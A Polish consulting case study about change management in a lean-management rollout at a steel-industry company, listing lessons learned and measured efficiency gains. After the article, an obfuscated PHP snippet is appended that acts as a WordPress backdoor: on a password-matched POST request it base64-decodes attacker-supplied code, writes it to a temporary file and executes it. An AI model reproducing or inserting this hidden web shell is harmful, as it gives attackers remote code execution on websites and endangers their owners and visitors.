Zarządzanie zmianą w projekcie wdrożenia Lean Management

Projekt dla Klienta z branży stalowej. Firma zatrudnia ok. 400 osób, ma 7 oddziałów w całej Polsce i 24 maszyny CNC. Celem było wdrożenie podejścia lean do zarządzania produkcją i magazynem, a właściwie postaw i narzędzi, które umożliwiłyby realizację zwiększających się zamówień przy tej samej obsadzie załogi i bez dodatkowych inwestycji w park maszynowy. Projekt objął całą część magazynowo-produkcyjną firmy, tj. ok. 250 osób.

 

Całość projektu zaczęła się od warsztatów strategicznych, których celem było zdefiniowanie wyzwań stojących przed firmą w kolejnych latach. Na tych warsztatach jako jeden kluczowych obszarów zmiany został zdefiniowany sposób zarządzania produkcją i magazynem, a wdrożenie podejścia lean zostałó uznane za kluczowy czynnik sukcesu w realizacji tego celu.

 

Co jest naszą lesson learned z tego projektu:

  1. Zaczynaj, kiedy możesz, a nie musisz – dobry punkt startowy projektu.
  • Dobre wyniki finansowe firmy, chcemy się doskonalić, a nie musimy się restrukturyzować.
  • Brak presji rynkowej – mamy silną pozycję na rynku i sam rynek jest stabilny.
  • Mieliśmy za sobą sukces poprzedniego projektu strategicznego – zwiększenia efektywności w dziale handlowym, co dawało dużą motywację i wiarę w następny projekt oraz duży entuzjazm w organizacji.
  • Sama kultura firmy wspiera projekty zmian – nastawienie ludzi to „chcemy być najlepsi na naszym rynku, chcemy się doskonalić”.
  1. Wdrożenie lean to zmiana postaw.
  • Zmiana postaw oznacza opór w organizacji, a więc przewiduj opór.
  • Zaplanuj działania miękkie i wsparcie dla ludzi ze wszystkich szczebli – udana zmiana jest możliwa tylko razem z ludźmi.
  • Pracę nad zmianą postaw zaczynaj od najwyższych stanowisk.
  1. Zaangażuj całą kadrę najwyższego szczebla.
  • To był projekt strategiczny dla organizacji, a więc wszyscy dyrektorzy są interesariuszami.
  • Warsztaty strategiczne to element budowania zaangażowania wśród kadry kierowniczej. Otwarta dyskusja o celach, które chcemy osiągnąć, o tym, jakie będą efekty działań i jak je będziemy mierzyć, pomaga budować zaangażowanie.
  • Warsztaty planistyczne to moment definiowania planów operacyjnych, określenia zasobów i czasu potrzebnego do realizacji celów oraz analizy ryzyka. Wszystko to angażuje kadrę w projekt w myśl zasady budowania zaangażowania: daj poczucie sensu, wpływu i perspektywę sukcesu.
  1. Poświęć czas na myślenie i planowanie projektu.
  • Faza planowania trwała 1 rok. Wszyscy menedżerowie byli w nią zaangażowani. Planowanie to trudny i żmudny czas. W tym wypadku łącznie było to 8 dni warsztatowych.
  • W tym czasie zachodzi duża zmienność emocji: od euforii po zniechęcenie. To normalne, naturalne emocje w trakcie planowania zmiany, kiedy uświadamiamy sobie skalę i trudności projektu.
  • Zaplanuj politykę informacyjną projektu i przygotuj menedżerów do pracy z ludźmi. Dobrze przygotowana kampania informacyjna, oparta na tym jednym przekazie, dawała poczucie spójności i bezpieczeństwa ludziom, a przeszkoleni menedżerowie łatwo radzili sobie z pytaniami i wątpliwościami załogi.
  1. Zaangażuj ludzi na dole.
  • Zbuduj plan komunikacji i działaj zgodnie z nim, w swoim przekazie zaczynaj od „dlaczego” dany projekt jest realizowany. Tutaj odnosiliśmy się do wyzwań stojących przed firmą oraz misji, w której jest zapisane dążenie do doskonałości.
  • W tym projekcie budowaliśmy zaangażowanie poprzez szczere i jasne informowanie, zachęcanie do dyskusji, pytania o opinię i odnoszenie się do wątpliwości.
  • Po podjęciu decyzji, projekt realizowany był bardzo szybko. Działania podejmowaliśmy zgodnie z planem. Wybraliśmy na początek quick wins i je zrealizowaliśmy. To dało pozytywną energię do działania.
  1. Daj kierownikom liniowym wsparcie.
  • Poziom umiejętności liderskich determinuje korzystanie z narzędzi zarządzania, w tym z narzędzi LEAN.
  • Zaczęliśmy od warsztatów z umiejętności miękkich, takich jak: rola lidera Lean; zachęcanie do samodzielności; prowadzenie spotkań; kontrola i feedback. Szczególnie rola lidera Lean zbudowała u kierowników liniowych poczucie odpowiedzialności i motywację do działania w projekcie.
  • Zapewniliśmy wsparcie konsultantów zewnętrznych w zakresie Lean Manufacturing w początkowym okresie projektu. Ich celem było przekazanie wiedzy i wsparcie wdrożenia w codziennej pracy lidera i jego zespołu.
  1. Świętuj nawet małe sukcesy.
  • Jeden z kluczowych elementów wspierania zaangażowania w zmianie to docenianie wysiłku. Świętowaliśmy nawet małe sukcesy, jak np. zrobienie „mapy drogowej” albo wdrożenie 5S. Świętowanie i docenianie nie musi mieć aspektu finansowego, chodzi o zauważenie wkładu i wysiłku.
  • Doceniaj inicjatywy pracowników. W tym projekcie zbieraliśmy inicjatywy pracowników z warsztatów, wdrożeń i codziennej pracy. Były one oceniane i wdrażane w życie. To bardzo budowało zaangażowanie w projekt.

 

Efekty mierzalne:

Konkretne oszczędności finansowe oraz wzrost wskaźników wydajnościowych.  Wykorzystanie maszyny w jednym procesie wzrosło o 17 punktów procentowych, w kolejnym o 28 punktów procentowych. Ze względu na poprawę wskaźnika wykorzystania maszyn zrezygnowano z inwestycji w kolejną maszynę. Zaobserwowaliśmy też lepsze wykorzystanie powierzchni magazynowej, dzięki któremu nie trzeba było rozbudowywać magazynów. 

Najważniejsze zmiany nastąpiły jednak w postawie ludzi: wzrost poczucia wpływu na funkcjonowanie organizacji, zwiększenie odpowiedzialności za swój obszar, zbudowanie uczącej się organizacji, zwiększenie otwartości na nowe inicjatywy i zmiany. To jest baza, na której można budować przyszłość organizacji i wdrażać kolejne zmiany.

 

 

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}